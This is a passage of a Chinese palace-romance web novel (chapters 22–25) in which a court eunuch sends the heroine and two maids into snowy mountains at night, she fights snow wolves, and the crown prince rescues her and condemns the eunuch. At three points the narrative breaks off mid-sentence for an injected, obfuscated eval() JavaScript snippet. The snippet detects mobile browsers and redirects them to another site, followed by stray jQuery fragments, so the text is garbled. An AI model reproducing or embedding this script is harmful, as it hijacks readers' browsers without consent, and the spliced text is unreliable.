吴内祥把手笼进灰袖中,抬起那双阴沉的三白眼:“是咱家有话,要请教你。”
“你找我?”影枭疑惑道,“你可知道,我不受你的命令,有些事也不能告诉你。”
“是,”吴内祥走近他,“咱家要问的是,关于太子殿下此次摔马的事,这件事,可以说吗?”
影枭想了想,平静道:“这个?倒是可以告诉你,你有什么想问的?”
“太子殿下从陛下那里出来,急急忙忙的,可是去找应女史?”吴内祥一字一句问道。
影枭沉默片刻,点头承认。
吴内祥又问:“那他何故又离开了?据咱家所知,太子殿下摔马的地方,是出骊宫的主路上!好端端的,他怎么要出宫?”
影枭看着吴内祥,坦白道:“太子殿下去找应女史,碰上巡逻的卫兵。这群卫兵正要将主路封锁,太子殿下知道应女史坐了马车出去,如果封锁上了,应女史定然回不来了。”
至于应女史与安景王接洽的事情,属于机密,对任何人都不能透露。
影枭点到为止,不能多说。
刘之衍想阻止卫兵们封锁道路,他拽着缰绳,催促乌骓前行。
谁知其中一个卫兵转身时,手中的长矛刺伤乌骓的脖颈。
乌骓疼痛难忍,当即蹦跳不止。
摔马,只能说是意外。
可吴内祥却不这么想,他以为太子殿下为了应子清犯险,严肃的脸皮越绷越紧:“好哇,原来一切都是应女史的缘故!”
影枭默然。
太子殿下年幼时,吴内祥就跟在他身边了。他和太子殿下相识的时间,比影枭还长。
影枭也知道,吴内祥对太子殿下向来忠心不二,知道太子殿下受伤,除了太后最心疼外,恐怕就是他了。所以不论他问什么,只要影枭能回答的,他都会回答。
吴内祥忽地抱手一举:“好了,咱家想知道的,全弄清楚了,多谢告知!”
22. 第 22 章
因是才到,行李又多又乱,应子清和语兰香巧两个,折腾一晚上,把东西收拾规整。
天气冷,呜呜刮着风,屋里点了小炉子。
香巧揭开窗户,朝外看了眼:“呀,怎么飘雪了。”
语兰凑过来一起看:“毛毛小雪,落不到地上就化了。”
“应女史,你快来看,骊宫这里的地气真是暖和。”香巧回头,对应子清说,“若是在大明宫里,这雪没那么容易化。”
应子清跟着起身,立在窗口。
屋檐下悬挂着六角宫灯,蒙蒙亮,被风吹得摇摆。
骊宫依山而建,远处一点是深山树丛,黑影影影绰绰,顺着风传来鸱枭低低的吼叫声,很是可怖。
应子清把窗户开得大了些,探出头,去看沐云居。
那里地势平坦,视野开阔,有山体遮挡,受到风雪小一些,烛火明亮许多。
夜这么深了,那边倒是十分安静。
守夜的御医在打瞌睡,几名小太监撑着一把伞,轻手轻脚地四处走动巡查。
应子清估摸着,刘之衍的伤情大概是稳定下来,所以沐云居一派平和的样子。
扣紧窗扇,语兰换上轻便的睡衣,香巧踩着拖鞋,要去吹灯。
三个人准备休息的这空档,夹杂冰雪的笃笃敲门声,突兀地响起。
众人的心,不由一紧。
“这么晚了,又是谁?”香巧不去吹灯了,转而去开门。
风雪霎时间吹进来,把温暖宜人的小屋子吹得冷透。
吴内祥穿了身黑披风,狐皮帽,肩膀积着薄雪。他睁着一双三白眼,盯着应子清看。
“吴公公怎么来了?是太子那边有事?”应子清随手取了件披风,罩在身上。
“是。”吴内祥幽幽道,“太子殿下需要你呢。”
“要我现在过去吗?”应子清吃了一惊,“他好点了吗?还是情况变严重了?”
应子清脑子里,跑过去好几个可能性,唯独没想到吴内祥会提这样的要求。
“太子殿下腿伤严重,需要一味极其重要的药。”吴内祥肩膀上积雪不化,散发阵阵寒意,“这味药,名叫玉芝,长在骊山北面的深处,正好在初雪刚下的时候,从雪谭之中长出来。”
吴内祥在屋里转了一圈:“玉芝娇贵鲜嫩,只能经由少女之手采摘,才不至于损坏。应女史,我要你们几个,去采摘这味药。”
“现在去?大深夜的?”语兰与香巧面面相觑,两人脸色渐渐难看起来。
“是啊。”吴内祥昂着下巴,不耐烦,又有些轻蔑道,“要是雪融化了,玉芝也会跟着融化,还请应女史赶紧上路,趁着日出之前,给太子殿下带回来。”
应子清呆了一瞬,慢慢反应过来,吴内祥在刁难她。
为什么?
应子清想不明白,好端端的,他为什么对她有这么深的恶意?
吴内祥的官阶,比应子清高得多。
宫里的规矩是这样,高一阶的贵人提要求,下位者没有问为什么的道理。
“怎么?”吴内祥眯起眼,直勾勾地看着应子清,“平日太子殿下对应女史诸般优待,惹得旁人眼热不止,太子殿下尚且维护你。此等恩义,竟换不来应女史一片忠心?难道,应女史是如此狼心狗肺之人?!”
语兰和香巧脸色发白,死死咬住嘴唇,乖乖低下了头:“回吴公公的话,奴婢们这就去办。”
应子清长睫眨了下,只得回答:“知道了,明早定能送到。”
觉是睡不了了。
三位少女换好衣服,惴惴不安地拿上工具,吹熄灯,关上门,往骊山的深山里走。
她们经过骊宫的门禁,侍卫得知她们去为东宫采摘玉芝,彼此相视一眼,便放了行。
没有多余的盘问。
大雪封山,三个弱质女流,一身简陋,往深山里走,焉得还有命在?
侍卫们看她们的眼神,像看三个死人。
凛冽寒风呼啸不止,细雪夹缠其中,如刀子一样,割着露出来的皮肤。
越到深夜,雪落得越密,深绿的树枝累积着皑皑白雪,枯树枝凝了好看晶亮的冰霜。
偶尔,不知哪传来咔嚓的脆响,那是压断树枝的声音。
太冷了。
应子清一等人,自是没有上好的毛皮保暖,只有薄薄棉衣,仅可御寒。
但不论裹上多厚的衣物,面对这初冬落雪,寒风肆虐的深山,仍是无用的。
玉芝,幸好应子清读过相关的内容,知道这种娇气的东西长什么模样,生长在哪里,又该如何采摘。
这种东西就是菌的一种,菌丝最喜欢潮湿阴暗的环境,湿度越高越好。
玉芝这种菌丝,说是只在初雪的时候生长,其实不然。玉芝对温度极其挑剔,它只在极寒天的时候,从地里钻出来。生长周期极其短暂,温度太冷,或是有一点点高,都会加速它的腐烂速度。
所以,人们很容易在初雪的时候,发现它。
初雪过后,天气变冷,玉芝的菌丝藏进冻土层里,准备来年的生长。
上山的过程,应子清在路边,见了不少氤氲冒热气的小汤泉。她知道越靠近深山的大温泉,越有可能找到玉芝。
应子清小时候干过农活,方向感不错。她从头到尾不发一语,带着两个小女孩,径直朝她定好的目的地走去,尽量减少绕路的可能。
深山路难行,香巧的腿,不小心陷进一窝雪里。
拔出来的时候,有树枝的倒刺,顺着棉布扎进她裤子。
雪冷风冷,把一切的感官给冻麻木了,香巧完全没注意到,倒刺在慢慢刮刺她的皮肤。她只觉得自己越走越慢,腿像使上不力气。
应子清和语兰见她走得艰难,伸手去扶她。
语兰摸到一片滑腻,大叫一声:“哎呀!这是血啊!香巧,你流血了,哪来的血?!”
香巧借着雪光,看到自己的裤子滲着殷殷血迹。可身上感觉不到痛楚,她吓得瑟瑟发抖,喃喃自语:“我怎么在流血?我是不是快死了吗?怎么回事?”
夜里突然接到这种差事,两个小宫女都觉得,她们活不过今晚。
此刻出了意外,两个小女孩稳不准心神,热热的眼泪,直直往下滚,都觉得自己要死了,害怕得什么都不能做。
应子清皱紧眉,当机立断,抓住香巧的脚踝,一把拨开她的裤脚:“你别动,让我看看。”
“把火折子点亮。”应子清的声音很沉很平静,像是一切都尽在掌握之中。
语兰慌手慌脚,从提着的小布包里拿火折子。
她手脚发抖,哆哆嗦嗦,掏了半天,拿不出来,脸上的眼泪越流越多。
应子清忽然冲她笑了下:“别慌,我们有的是时间。”
她的笑容向来漂亮又大气,清亮的眼睛那么干净纯粹,冰雪也比不上她的纯净。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506039|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
语兰看得呆了下,像是受到鼓舞似的,她马上就找到火折子了。
“点亮。”应子清冷静指挥,“靠近一点。”
语兰照她的话做,拿着火折子的手,渐渐不抖了。
温暖的火光一照明,她们都看清楚了,是有密密的倒刺,把腿上的皮肤划得皮开肉绽。
不论做什么事,最怕未知的恐惧。
看清楚是什么东西导致的出血,香巧也没那么害怕了。
应子清和语兰借着火光,把倒刺一一除尽。
“要忍一忍。”应子清抓了一捧干净的初雪,覆在香巧受伤的皮肤上,把上面的脏血碎肉洗干净。
撕开一大片裙裾,应子清把香巧的腿包扎起来:“眼下的条件有限,只能如此,等我们回去了,再叫医师用药处理一下即可。”
“子清姐姐,”香巧虚弱地呢喃,她都忘了应子清女官的身份,不自觉地把她看作是姐姐,“我以后会不会变成瘸子?我不想当瘸子……”
宫廷怎么可能收留一个成了瘸子的宫女,她会被赶出宫吗?她才刚进宫没多久!爹娘还在殷殷期盼她荣归,她混成一个瘸子回了家,如何跟爹娘交代?还不如死了!
应子清抬起眼,对着还在抹泪的香巧说:“别怕,只是皮外伤,不会触及根骨,不会影响你以后走路的。”
“真的吗?”香巧本来不大信,可是她听说过,应子清是有治病救人的本事的。
应子清笑了下,摸摸香巧的脑袋,夸奖道:“你很勇敢,刚刚用雪给你擦的时候,你都没哭。”
适当的鼓励,有助于平缓失控的情绪。
最害怕的事没了,香巧顾不上尊卑有序,抱住应子清的腰,哇哇大哭。语兰也深受感动,一把抱住应子清另一半腰,跟着痛哭起来。
应子清:“……”
等她们情绪收得差不多,应子清要背香巧,香巧怎么都不肯。
“你的腿伤刚做过处理,不能走动,恐怕伤口会裂开,刚才的处理全白费了。这里既无遮挡,环境条件也不好,我们至少找个干燥的地方才能休息。”应子清遥遥预计了下距离,“剩下的路不远,走一段便到了。”
“对啊,你不想变成瘸子的话,最好还是听子清姐姐的话吧。”语兰跟着道,“如果她背不动,就换我来背你。”
连语兰的称呼也变了……
应子清无语,不过这两个小女孩,让她想起她还在孤儿院的时候。
都是没有父母的孤儿,孤独又无助,平时彼此照顾。
应子清还小的时候,就是被大姐姐照顾着,等到她变成大姐姐,也会主动照顾比她小的弟弟妹妹们。
这两个小女孩,像她曾经照顾过的小妹妹们,乖乖巧巧很懂事。
香巧趴在应子清的背上,垂头一看应子清撕得破烂的裙裾,不好意思道:“子清姐姐,回去的时候,我赔你一条裙子吧,我把我最好的那一条给你。”
“小事,无妨。”应子清一开口,忍不住喘了口气。
她的身体其实很弱,背一个十四五岁的小女孩,仍然是吃力的。
剩下的路,确实不好走,应子清暗地咬着牙,深一脚浅一脚,踩着嘎吱嘎吱的雪地,慢慢地走过去。
香巧抱着应子清的脖颈,觉得她香香的很好闻,身上又那样的温暖踏实。趁着没人注意的时候,香巧禁不住落了几滴泪,发誓等她回去,要好好报答子清姐姐。
23. 第 23 章
三个人摸着黑,浑浑噩噩走了不知道多久。
语兰听见湍湍的水流声,高兴地直跳脚:“子清姐姐,你听,是不是在那边?”
“我也听见了,咱们往那边走。”应子清说。
香巧担心道:“只是一条普通的小溪怎么办?”
“那个地方,正是我们要去的方向。”应子清沉沉喘了口气,回答,“朝那边走总是没错的。”
“要不要换我来?”语兰忧心地望着她。
应子清笑道:“没事,我们到那里以后,有你忙的。”
树影深深,初雪下了许久,势头渐渐小了。
可能越接近大温泉,地气越热,一路上她们冻得麻木的脸,似是贴了层薄冰,此时,也觉得融融的化开了。
干燥,略带硫磺味道的气息,扑面而来。
温泉水潺潺流动的声音,对三个冻得发僵的女孩来说,不亚于天籁之音。
应子清顿时有劲儿了,背着香巧,走得十分畅快。
绕过森林似的树丛,霎时间,视野开阔无比。
极大极广阔的野温泉一如湖泊,赫然呈现在眼前。瀑布似的流泉,奔腾而下,氤氲湿热的水汽,在茫茫雪夜之中升腾而起,如仙气般朦胧缭绕。积雪还未落下,已被蒸腾的热气消弭。
她们刚一踏入,就听见夜里的鸱枭,忽然发出的低低声鸣叫。接着,数只宽大的羽翅频频扇动起风,似是对闯入者感到愤怒。
她们也需要温暖的源泉,只能无视这些原住民的野生动物。
但它们的存在,总归是个麻烦。
应子清叫语兰在附近拾些干燥的木枝,她找了块平地,把香巧安置在一块高地,高地的下方一片平坦,正是天然的休憩之所。
语兰抱着一堆木枝回来了,应子清搭了个火堆,用火折子把火给烧起来。火光起来的时候,众人也跟着松了口气。火种会给人带来安全感,有了火把,这些野生动物不敢轻易冒犯。
“子清姐姐,”语兰抱着腿,贴着应子清坐在旁边,“你怎么什么都会啊?”
应子清笑了笑:“你要是什么都没有,什么事都要自己去做,自然就学会了。”
她说的,自是在孤儿院长大的过去。
那两个女孩子有些沉默,她们只当应子清出身不好,在不讨喜的家中,受苦受累长大的。
平日里,她们多少听闻应子清受东宫宠爱的事迹,只当应女史是一等一斯文高贵,又千娇百媚的女子。短短一晚上,应子清的所作所为,叫她们全然改观,又叫她们佩服。
原来,身为女子还可以如此,遇事从容镇定,冷静自持。
应子清见两个小姑娘眨着星星眼,也不知道在她们在想什么。
“清醒点。”应子清看得失笑,挑根木柴,在她们面前晃了晃,“语兰,你不是带了吃的东西吗?夜里冷,虽然我们没什么感觉,还是要补充点热量才行。”
语兰呆了呆,反问道:“热量?”
应子清点头:“就是我们要吃饱肚子,才能扛过这个寒冷的夜晚。”
语兰急忙把腰包里装的糕点,拿出来分给大家。
出门时,她想带又不敢,怕累赘,应子清没阻止,反而鼓励她带上。
直到吃了东西,才发觉自己早饿了。
香巧故意吃得少些,她心想,她受了伤,要连累别人背着她走,哪里敢多吃。
应子清猜到她的心思,因而说:“哪里就这么落魄了,明早我们就回去了。”
说到这里,两个小女孩相视一眼,纷纷放下手里的糕点,低了头:“吴公公故意发难我们,就算回去了,以后的日子,想来也不好过。”
应子清用一根树杈,拨了拨木柴,火堆发出轻微噼啪声:“等我回去的时候,找个机会,跟吴公公聊聊吧。”
其实应子清也没信心,不过眼下最大的困难不是这个,不必老惦记将来。安慰的话,她说得很有自信:“兴许有什么误会,解开就好了。”
吃完东西,肚子里有食,手脚也被火烘暖了。
应子清站起来,安排道:“语兰,你照顾香巧,我去找玉芝。”
“啊?什么?”语兰不愿意,站起来恳求道,“我陪你一起去吧。”
“不必,”应子清说,“我一个人找还快些,要是需要帮忙,我会回来叫你的。”
应子清说完就走。
时间耽误不得,越到后半夜,人的精力越越低,要是睡意再上来,恐怕连脑子都迷糊了,哪里还能找什么东西。
玉芝这种脆弱美丽的菌类,只会生长在湿度和温度恰恰好的地方。
这种地方不多。
在温泉水与地界的交界,深潭之处必然会有。
夜色很深,白雪映着蒙蒙亮的微光,无需借助火光,也可以视物,应子清重新进入幽深的树林。
一个人行动,快上许多。
应子清走了几近半个时辰,把湖泊般大小的野温泉探查得差不多,终于在那处瀑布附近,找到理论上存在的远古巨石。
远古巨石的外形,如同白色鹅卵石,然而它的尺寸,比三层楼还高。在巨石与温泉水的交界地方,有一块平坦空地。
数目繁多的玉芝,在那处盈盈生长。
玉芝根系柔弱,菌伞和郁金香相似。名字中有个玉字,是将它比作羊脂玉,玉芝洁白晶莹,仿佛沾染了雪色,在夜里散发着阴柔的灵光。
还未走近,应子清闻到一股清甜宜人的香气。
玉芝是一味极好的药材,因为生长环境十分随机,属于可遇不可求的珍稀药材。兼之采摘难度大,因为玉芝太过脆弱,在采摘的过程,容易将它碰得四分五裂,需要极大的耐心。
好不容易遇见,应子清自然不愿意放过,很想将这一片玉芝全部带走。
应子清再次撕开自己的襦裙,临时做了个丝绵包袱,一点点细致耐心地摘下玉芝放进去。
玉芝的香味,有滋养心神的功效。丝丝缕缕的香气萦绕鼻息,将积压在身心里的疲倦,一点点清扫润泽。应子清竟也不觉得疲倦,等到她发现,采摘的玉芝把小包袱装得满满,才堪堪作罢。
一声悠远可怖的狼嚎,乍然响起,划破夜空。
这嗥叫离得太近,近得仿佛在耳边!
应子清心里咯噔一下,顿时寒毛直竖,她遇上雪狼了?!
下雪夜,人容易饥饿,雪狼也是。
冬天,小动物们早早躲进自己的洞中,想必雪狼早饿急了,大半夜的还在觅食。
这是会吃人的猛兽!
应子清手脚伶俐,迅速把刚摘好的玉芝,藏进巨石的缝隙间。
转瞬间,她想了几个主意,都是可以从雪狼眼底下逃跑的办法。
可是应子清想到,她可以跑开了,但雪狼的鼻子灵敏,迟早会找到离得不远的两个小女孩,她们不见得有办法对付雪狼。
何况,香巧的腿还受伤了,哪跑得动!
既然考虑到这一层,刚才想到的逃跑,通通不顶用。
夜里,雪狼的眼睛亮着鬼火般幽幽绿光。
三只雪狼,佝偻着饥瘦的身躯,正在四处巡逻。
从体型可以判断,这批雪狼刚刚成年,幸好数量不多,不知是没找到归属的狼群,还是走散掉的。
有玉芝的香气干扰,虽然离得近,它们还没发现应子清。
但,要发现她,是迟早的事。
应子清从腿侧缠结实的绷带中,拿出一把匕首。
这是她防身用的,不到万不得已,她绝不会露出来,没想到,会用在这个地方。
不能跑,那便只能杀。
野生动物身上,有一股浓重的腥臭。
人在闻到的那一刻,根本注意不到那股臭气,只会浑身的肌肉绷紧,心中升起强烈的紧张感。
不到片刻钟,三只雪狼齐齐缓缓转过身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14534205|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
躯,巨大的狼嘴张着,滴淌着饥饿的涎液,迈着狼爪,朝应子清走来。
雪狼是一种很狡猾的动物,它们会判断形势,但由于过分警惕戒备,会让它们的扑势变得犹豫。
这也是为什么它们已经发现了她,却没有狠狠扑来。
虽然做好了杀狼的打算,但在她眼前的,毕竟是三只成年雪狼。应子清根本没遇过这么恶劣的情况,心里紧张到了极点。
六只幽绿的狼眸,直勾勾地盯着她,雪狼边行走,边做好了伏击的姿势。它们前爪伏地,尾部高耸,仿若拉满的弓箭,蓄势待发。
应子清的心跳骤然变快,呼吸变得急促,手和腿开始发软,但她手中死死握住匕首,一刻也不敢放松。
匕首上的寒光,徒然闪过。
雪狼见状,停了一瞬,而后立刻张开狼嘴,露出森森獠牙,愤怒地低低声嗥叫。
它们应该见过猎人,知道人的手中,拿的是武器,那是十分厉害要命的东西。
僵持不会维持太久。
三只雪狼,从不同的地方,试探着靠近。
遇到野生动物,绝不能把后背暴露给它们,否则只会激起它们的猎杀本性。
应子清一边和它们对视,尽量用眼神和冷静气势压制雪狼,一边朝后方,缓慢撤退。
应子清精神已经紧绷到极致,可这里的地形过于杂乱,应子清来到温泉边缘,徒然之间,她踩滑了,身形一歪。
雪狼猛地低吼一声,飞弹似的向她扑来!
有那么一瞬间,那种从生死边缘划过的冰冷感,迅速从应子清的后颈扫过头皮,冷得人浑身发麻。
应子清歪倒摔到地上的那一刻,立刻伸手一撑,向旁边一滚。
三只雪狼已经扑至半空,无法调整,正准备落地后再次奋起时,雪狼突然像被剥皮似的,尖锐地哀哀嚎叫起来。
其实应子清早发现,这里有一块极为险恶的夹缝。由于温泉水长期冲刷,嶙峋怪状的石峰,仿佛布满了微型的刀片。只要落入其中,挣扎得越厉害,这些怪石锋利的边缘,会毫不留情地划破毛皮。
所以她故意把雪狼,朝这边引。
畜生不是人,它们无法迅速冷静,无法思考。受到如此骇人刁钻的疼痛,它们反而更加用力地摆动后腿,想要甩开这可怕的陷阱。
很快,应子清嗅到浓重的血腥味,雪狼哀嚎声割着她的耳朵,她听得心脏剧烈地跳动着。
她在踩滑倒的时候,受了不小的撞伤,额头和肩膀,也被这怪石狠狠撞了下。她情绪已十分麻木,仍然被怪石头,撞得痛到滚出生理性眼泪。
应子清没有手软,捡起身边能捡起来的石块,朝它们砸去。有两只雪狼越陷越深,又一直被石块击打,叫声变得奄奄一息。随后像是失血过多,没办法强撑,认命般落入幽深的夹缝。
却有一只雪狼,因为进的浅,离得远,它的后腿被划得皮开肉绽,断了一只脚,终于从嶙峋夹缝跳了出来。
没有形容词,能形容劫后余生的雪狼那深沉冰冷的兽眼。
几乎有一个成年男性那么高的雪狼,鼻息间喷出浓烈的白气,跛着脚,朝应子清走来。
这一次,应子清没办法躲开了。
经历了一晚上的事情,兼之刚刚的一番迎战,她的气力,早消耗得一干二净。
再次举起匕首防御的动作,也做不到了。
半躺在地上的应子清,只能眼睁睁看着受了伤的雪狼,瘸着腿,再一次扑来。
不能哭。
应子清在心里对自己命令道。
绝对不能哭。
然而,眼中已不自觉涌起热热的眼泪。
不知道为什么,应子清忽然有些黯然,好像每一次遇到困境,她总是独自一人。
就像她对香巧和语兰说的那样。
因为她什么都没有,所以逼着自己去学,去做,吃了一遍遍的苦,才懂得这么多。
24. 第 24 章
生死攸关之际,爆发出来的求生意志,不可小觑。
应子清从疲惫至极的身体里,搜刮出剩余的力气,她纤瘦雪白的双臂高举,双手合握举起匕首,准备防御雪狼的袭击。
哪怕死,她也要在雪狼身上,割下一刀!
少女清亮的大眼睛,瞪得发圆,目光透着坚韧。
“嗖!”
一声急促、带着强大冲击力的离弦之声,从应子清的耳畔擦过,带起一缕轻柔的黑发。
箭矢挟着冰冷的夜风,急速穿过雪狼的后脑,尖锐的箭头从狼嘴中/射/出/。
然而,箭矢携带的力量仍未停止,继续带着雪狼的头部,牢牢钉于石壁之中。
不管是在小蓝星,还是大晋朝,应子清只见过一个人,在射箭之时,拥有如此骇人的气势。
那会儿觉得危险狂暴的气息,不知道为何,在此时变成一股令人安心的强大保护感。
应子清抬起眼,刚想叫刘之衍的名字。
却见一张油光水滑的灵狐狐皮斗篷,从天而降,将她紧紧裹在其中。
应子清完全不知道,此刻的她,是何等的脆弱狼狈。
少女莹白漂亮的小脸与鼻尖,沾了灰尘。齐襦裙的肩袖,被怪石蹭开一条裂缝,细白的肩膀光裸,乌亮的长发如瀑般垂落在肩。丝绵做的粉白色宫装裙裾,被撕得破破烂烂,参差不齐的长裙底下,露出一截素白的小腿。
刘之衍锋利的眉峰蹙紧,赶在别的男人看见应子清之前,解下他的斗篷,将羸弱的少女严严实实包裹起来,不露一丝一毫的缝隙。
裹了这身纯白的狐皮斗篷,应子清打了个冷颤。
太温暖了,狐皮残留着男人身上的温度,这种暖意让她意识到,原来自己的身体冷得和冰块差不多。
刘之衍就着灵狐皮裘,将应子清抱在怀里。
十步开外,禁军侍卫全副武装,手持刀兵,个个面如铁塑,尾随在刘之衍身后。刘之衍抱着应子清路过,禁军侍卫纷纷让开一条路。
刘之衍让应子清先上马,自己一跃而上,手从应子清腰间伸出。他揽住缰绳,和她同乘一匹马。
是一匹快马,回去的路上,跑得又快又稳,猎猎风声,在耳旁刮着风。
鼻尖和脸上的狐狸绒毛,又柔软又暖和,应子清闻着刘之衍身上“青锁香风”的清苦味,小声问:“你怎么会来?”
刘之衍默不作声。
应子清看不到他的脸,不过,她多少感觉到一股隐而不发的怒意。
等了半天,没等到回应,应子清想起一件要紧的事,又问:“香巧和语兰呢?她们就在不远的地方,你来的时候看到了吗?”
刘之衍开口了,淡淡声道:“你还有心思管别人?”
应子清一听,就急了:“她们年纪那么小,别不管她们,叫人找找去吧?”
刘之衍嗓音冷了几度:“我们先找到她们,最后才找到你。”
原来,刘之衍带着禁卫军侍卫,找了很久才找到她。
怪不得他语气那么恶劣。
“哦……”应子清心情一松,声音又低了下去。
“应子清。”刘之衍语气像含着冰,泠冽又吓人,“一个人独闯雪夜,不要命了?”
他们离得太近,近到应子清能感觉到,他宽阔的胸膛,因为说话而发出的轻微震动。
“我是因为采摘玉芝……”应子清准备跟他解释,她为什么会离开那两个小女孩,又如何意外撞见三只成年雪狼。她做的每一件事,都不莽撞,都是有道理的。
但少女的腰身是那样的轻软,将她抱在怀里刘之衍,忍着心中烦躁,呵斥道:“闭嘴。”
应子清:“……”
算了,应子清想到,刘之衍大半夜带一堆人跑出来,救她一命。
他发发火什么的,算了,她让着他。
苍茫雪夜,乘着快马,在林间小路上奔驰,还是人生第一次。
应子清被护着,浑身暖融融的,有些犯困,但她舍不得闭上眼睛。
零星的雪花在脸上轻拂,应子清想,不管过去多少年,她是不是回到小蓝星,这一幕,她会永远刻在记忆里。
回到沐云居,刘之衍没有放应子清回她的小宅院,而是径直把她抱进自己的居所。
他的卧房很大,擦得锃亮的地板,铺了层柔软细密的手工毡毯,宫灯盈盈亮。
刘之衍并未停下,继续往里走,穿过一层又一层的朱纱幔,转过一道花影缤纷的屏风。
太子的居所,独占一处极好的温泉汤。
密密的竹编围栏,沿着石壁与流泉的走势,将天然的温泉围起来。流泉潺潺,温泉中飘着花瓣,氤氲的白汽飘若流云。
走到这里,刘之衍才把应子清放下来。
“这处温泉,有疗伤的效果。”刘之衍看着裹着灵狐狐皮的应子清道,“你在雪里呆得太久,最好沐浴一番,让温泉洗去风寒。”
应子清点点头。
刘之衍黑沉的眼睛盯着她,严肃地看了会,转头出去了。
在原地呆了许久,应子清才动了动发僵的腿脚,朝温泉迈去。
当她浸入滚热的温泉水,终于感觉到浑身上下传来细密的刺痛感,这说明她不仅受了皮外伤,还积了不小的寒气,温泉水正在帮她疗愈。
应子清微微咬着牙,忍耐着痛楚,愈合的过程总是难受的。
时间一点点流逝,痛楚渐渐消失,除了隐隐的疲倦感,冷久的身体慢慢回暖。应子清泡得指头都皱了,尽管心里有些舍不得,可是温泉不能呆太久,她重新钻进水里,让水没过头顶后,从水中站起身。
拧干了长发,应子清披上衣服,赤着脚,缓步绕过屏风。
刘之衍换了纯白的亵衣,套了件鹤纹的披风,盘坐在桌边,拿着一本书在看。
见应子清出来,刘之衍头也没抬:“今晚,你在此处歇息。”
“哦。”应子清乖乖答应,可是她打量卧房,发现除了太子那张紫檀卧榻,没有第二张床了。
“可是我睡这里,”应子清眨着眼睛问,“你睡地上吗?”
刘之衍:“……”
“你想得美。”刘之衍冷着脸,放下书站起来。
走近了,应子清才发现,刘之衍今天受的伤没好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558953|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他素日清冷的眉眼泛了青,嘴唇苍白,浓重的药味扑鼻。
“对不起。”应子清垂下眼,本来该感谢他的,不知道为何先道了歉。
刘之衍优美的下颚微扬,看她的眼神十分阴郁,沉默许久,最后他没什么表情地偏开头:“知道自己做错了就好。”
刘之衍指了处帷幔的后方:“你的休息之所在那里,去吧。”
“太晚了,有什么话,明天再说。”许是伤口疼,刘之衍走得有些慢,眉眼满是不耐,“别觉得没事了,我还有帐没跟你算完。”
虽然撂下狠话,可应子清并未觉得害怕。
应子清拉过被子躺下,那边,刘之衍吹熄了灯。
忙活了一晚上,没想到还能睡在这么柔软舒适的床上。
平时觉得平常的事,忽然变得奢侈。
隔着厚厚的窗棱,应子清听着外面刮的风雪声,似乎又变大了。
应子清慢慢闭上眼睛,然而心里盘绕着许多念头。
刘之衍受了这么重的伤,应该早早休息了才是,为什么会突然跑出去找她?
……
第二天一早,清亮的阳光落在窗棱上。
宫女们悄无声息,进进出出,在桌上摆了一堆膳食。
刘之衍冲应子清,指了下对面的座位,应子清坐下来,陪他吃着早饭。
因为两人身上带伤,这顿宫膳不知道算是吃饭,还是药膳,连粥也弥漫淡淡的药味。
过会,御医打扮的男人,端着两只白玉碗进来。
昨夜应子清采摘的玉芝,被做成了燕窝一样清亮粘稠的乳浆。
刘之衍接过,把一只白玉碗,放在应子清面前,解释道:“玉芝不能久存,我给太后皇上皇后都送了一份,说了是你的功劳。这一碗是你的。你自己采的珍贵东西,没道理自己吃不上。”
“哦。”应子清舀了舀香汤,气味和昨夜散发的香气一样清甜。
应子清观察了下,发现香巧和语兰都不在:“她们呢?”
“难道你要叫她们出来伺候吗?”刘之衍冷冷道,“采摘玉芝的功劳,她们也有一份。我给了她们几天的假期,让她们好好休息。”
应子清放心了,可是她发现,经常陪伴在太子周围的人,还是少了一个。
吃完饭,应子清和刘之衍从房间里出来,才看见,外面的雪地里,跪着一个羸弱倔强的身影。
是吴内祥。
吴内祥在这里跪了大约有一夜了,肩膀上的雪积了厚厚一层,他紧紧闭着眼,脸色已然青白。
刘之衍目光很淡地,落在吴内祥身上。
“昨夜,他私自代我传令于应女史等人。”刘之衍没什么情绪地说道,“论罪,当诛。”
听到此处,站在周围的宫女太监们,屏息敛神,纷纷恭顺地低下头:“太子殿下英明。”
陪伴刘之衍多年的吴内祥,因为私自传令给她,所以要在众目睽睽之下活活冻死。
电光火石之间,她想到安景王给她讲过的事,太子殿下乳母之死……
应子清心底,陡然升起一股深深的寒意。
25. 第 25 章
积雪晶莹,太阳落下的薄光,斜斜落在回廊上,冻得人发抖。
在他们面前,吴内祥跪得笔直,身上气息越来越弱,眉毛覆了层薄薄冰霜,宛如一座活灵活现的冰雕。
“子清,你不高兴吗?”刘之衍没有看她,只是这么问着。
应子清沉默片刻,轻轻点头。
“为什么。”刘之衍转过头来。
“吴公公只是想维护你,我、我没有怪他。”应子清抬起头,和他对视。
应子清毕竟来自现代,接受不了这么残忍地处死一个人。
